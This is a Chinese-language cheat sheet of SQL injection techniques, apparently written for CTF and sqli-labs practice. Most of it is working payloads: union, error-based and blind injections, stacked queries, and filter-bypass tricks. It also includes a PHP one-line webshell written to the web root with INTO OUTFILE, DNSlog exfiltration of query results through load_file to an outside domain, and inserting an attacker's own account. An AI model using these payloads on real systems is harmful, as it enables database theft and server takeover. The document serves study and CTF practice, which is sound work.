sql注入总结
sql注入
一.什么是注入
所谓SQL注入,就是通过把SQL命令插入到WEB表单提交或输入域名或页面请求的查询字符串,最终到达欺骗服务器执行恶意的SQL命令,从而进一步得到相应的数据信息。通过构造一条精巧的语句,来查询到想要得到的信息。
二.常规注入步骤
1.判断注入点类型
提交and 1=1和and 1=2,如果两个都能正常显示则为字符型注入,如果1=2无法正常显示则为数字型注入
还有一种判断方法是使用2-1,看页面是否正常显示,数字型可以计算2-1所以会正常显示,字符型会报错(这种方法的优点是绕过对=号的检查)
确定是字符型后需要尝试闭合查询语句,例如),',"
,可以根据报错语句闭合,然后在最后加上#或–+注释掉之后的语句,正确的闭合方式表现为:加注释之前为错误界面,加注释符之后为正确页面
2.判断列数
二分法判断列数,?id=1 group by 5
或?id=1 order by 5
,如果到某个数字恰好页面能正常显示,那么可以确定列数
3.union联合注入
根据2拿到的列数构造查询语句(注:把id改成0、-1)?id=-1 union select 1,2,3--+
看回显的位置,按照查库–>表–>列的顺序找到数据
(1)查库:3 ->database()
(2)查表:3 ->(group_concat(table_name) from information_schema.tables where table_schema=database())
(3)查列:3 ->(group_concat(column_name)) from information_schema.columns where table_schema=database() and table_name=’users’)
(4)查数据:3 ->(select group_concat(username,password) from users)
注:最好用括号把语句括起来,提升优先级
三.非常规注入
1.报错注入(适用于无回显,但是报错正常回显)
三大常见报错注入:floor(),extractValue(),updateXml()
(1)extractValue()函数
原本用法:select extractvalue(doc,'/book/author/surname') from xml
从xml查询文件
利用方法:?id=1" and(select extractvalue(1,concat(0x7e,(select database()))))--+
1' and (select extractvalue(1,concat(0x7e,(select substring(group_concat(username,password),1,30) from users))))--+
substring函数可以实现截取
limit不能和group_concat一起用
0x7e是波浪号的16进制,把/换成~引起报错
doc可以任意写,不影响
注入时只需要将注入点替换为select查询语句(select执行的语句必须加括号)
注:这种方法最多同时显示32个字符,使用substring函数截取。substring(查询结果,从m显示,显示n个)
(2)updatexml()函数
原本用法:UPDATEXML(xml_target, xpath_expr, new_val)替换xml文档内容
利用方法:同上,更改path的第一个字符为~
其他两个参数无影响
?id=1" and (select updatexml(1,concat(0x23,(select database())),0x23))--+
(3)floor()函数
使用函数介绍:rand()生成一个0-1的小数,floor()小数向下取整,concat_ws()将括号内的数据用一个字段连接,as起别名,count():汇总统计数量,limit显示指定行数如limit 0,1从0行开始显示一行
select count(*),concat_ws('-',($注入点),floor(rand(0)*2)) as a from information_shcema.tables group by a;
报错原因:rand()函数进行分组group by和统计count()时可能会多次执行,导致键值key重复
2.bool盲注(适用于无回显,不报错,但是页面能反映出真假)
函数简介:ascii()转换字母为ascii码
原理:利用substr()截取字符串的每一个字符,转换成ascii码进行比较,如果对了则页面为true
这里使用了limit 0,1来保证每次只查询一个表的名字
改变substr()里的内容即可注入
可以看到,布尔盲注的人工查询效率很低,因此可以编写一个python脚本
1 | import requests |
3.时间盲注(适用于页面无任何变化,页面响应时间不同)
本质上是通过时间判断布尔的真假
sleep()函数,休眠
if(1,2,3)函数,1为条件,当条件为真2执行,否则3执行
payload:?id=-1 || if(ascii(substr(查询语句,i,j))>100,sleep(0),sleep(3))
1 | import requests |
这个脚本使用了二分法提高查找效率
4.文件上传
前提:在sql命令行中输入show variables like '%secure%'
,显示的secure_file_priv为空,则可以任意读写文件
一句话木马:<?php @eval($_POST['cmd']);?>
payload:union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "路径"#
select "<?php @eval($_POST[1]);?>" into outfile "/var/www/html/1.php"
之后使用蚁剑连接
注意:路径的/要\\替换
5.dnslog注入
前提:读写权限打开
load_file()函数:参数为UNC路径 -> /servername/sharename/filename
payload:select load_file(//(注入点).192.0.0.1/123/1.txt)
使用https://dnslog.org/可以拿到dns域名,我们采用注入点.域名的方式可以在这两个网站拿到注入结果
注入点:select database()…..
完整payload:?id=1 and (select load_file(concat(“//“,(注入点),”.域名/ben.txt”))) #
使用concat防止双引号影响命令执行
6.报头注入
U-Agent注入
Referer注入
Cookie注入
?id=1’ and extractValue(1,concat(0x7e,(database()))) and ‘
7.堆叠注入
主站ez_sql 过滤了select和.
?inject=1’;show databases;#
?inject=1;show tables;#
?inject=1;show columns from `1919810931114514`;# 反单引号括住
?id=1’;insert into users(id,username,password) values (‘38’,’less38’,’hello’)–+
#向数据表插入自己的账户密码
查数据的时候由于不能用select
方法一:MySQL中查询语句handler:
handler 【表名】 open;
// 打开某个表handler 【表名】 read first || next;
// 读取表里第一行或者下一行的数据handler 【表名】 close;
// 关闭该表
1 | handler `1919810931114514` open; |
方法二:
PREPARE 【自定义名】 FROM 【自定义的SQL查询语句】;
//生成EXECUTE 【自定义名】;//执行
DEALLOCATE PREPARE 【自定义名】;
//释放
由于select被过滤,concat绕过
1 | PREPARE Hack_SQL from concat('s','elect', ' * from `1919810931114514` '); |
或者ascii编码
1 | PREPARE Hack_SQL from concat(char(115,101,108,101,99,116), ' * from `1919810931114514`'); |
方法三
由于前端提供查询的数据库为words,但是flag在数据库1919810931114514里。并且可以猜测后台的SQL查询语句为:select * from words where id=【你输入的id】
1.所以我们需要先将数据库words改成其它的数据库名
2.再把数据库1919810931114514改名为words
3.并且把(改名前)1919810931114514数据库的字段flag改名成id
payload
1 | alter table words rename to words1; |
改完之后输入?inject=1’ or 1=1; 显示flag
1 | array(1) { |
四.常见绕过
1.过滤注释符绕过
(1)# –+ %23 less23
(2)手动闭合
select * from users WHERE id=’1’ and 1=1’’ LIMIT 0,11' and 1=1'
闭合了后面的引号?id=1')('
->不能正常显示?id=1') or ('1')('
->因为1的存在正常显示?id=1' order by 3 or '1'='1
2.and/or绕过 less25
(1)大小写绕过 anD
(2)复写过滤字段 anandd
(3)&&,|| 需要url编码
注意information里也有or
3.空格绕过less27
(1)”+”绕过
(2)%20 %0A %A0 %0C
(3)/**/ or /*/**/*/
(4)报错注入无空格 ->?id=1'||extractvalue(1,concat('$',(database())))||'1'='1
4.逗号过滤
join … on …
select u.e. from users u(起别名) join emails e on u.id=e.id;
等价于select u.,e. from users u(起别名) , emails e where u.id=e.id;
在判断完列数之后,union select * from (select 1)a JOIN (select 2)b JOIN (select 3)c;
效果与union select * from 1,2,3相同
5.union select绕过less27
(1)大小写绕过
(2)复写绕过
(3)中间加/**/
(4)采用其他方法
6.宽字节绕过less32
addslashes()函数让我们的引号失去作用
要求:数据库GBK编码
我们写入%df能够和(%5c)组成一个gbk编码(%df%5c),对应一个汉字
数据库会忽略掉这个汉字,从而注入
7.注释绕过
/*xxx*/ 注释
/*!xxxx*/ xxx会执行
/*!90000xxxx*/ php高于9版本才执行(没有高于9的版本,不会执行)
union /*!90000xxxx*/ select 绕过
database(/*!90000xxxx*/) 绕过
五.tips
当语句报错或者页面无法正常显示时,检查
1.加括号
2.加分号
3.数字打头的字段要加反引号
4.改变id=0/-1/2/3……
六、奇技淫巧
使用benchmark(500000,md5('test')
进行延时
id=1'/**/or/**/if(2>1,(select/**/benchmark(500000,md5('test'))),1)='1
1 | "id":f"0'/**/or/**/if(ascii(substr((select/**/group_concat(a)/**/from/**/(select/**/(1)a/**/union/**/select/**/*/**/from/**/ctftraining.flag)d),{i},1))>{mid},(select/**/benchmark(500000,md5('test'))),0)='1" |
select (1) a的意思是从数据库中选择一个常量值 1
,并将其命名为 a
。执行这个查询后,结果集将包含一列,列名为 a
,且该列的值为 1
。
堆叠注入原理利用
[SUBCTF 2019] EasySQL
查询的语句
select $_POST['query']||flag from Flag;
||起的作用是或,有1为1,但是flag是字符串相当于0
传入payload:select *,1||flag from Flag;
让||的作用被1抵消即可(任何数字均可)
第二种解法:
sql_mode中的PIPES_AS_CONCAT:
将”||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似
sql中的set可以更改这一变量
1;set sql_mode=PIPES_AS_CONCAT;select 1
select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag
||变成拼接作用返回flag
https://blog.csdn.net/JesseYoung/article/details/40779631
https://www.cnblogs.com/clschao/articles/9962347.html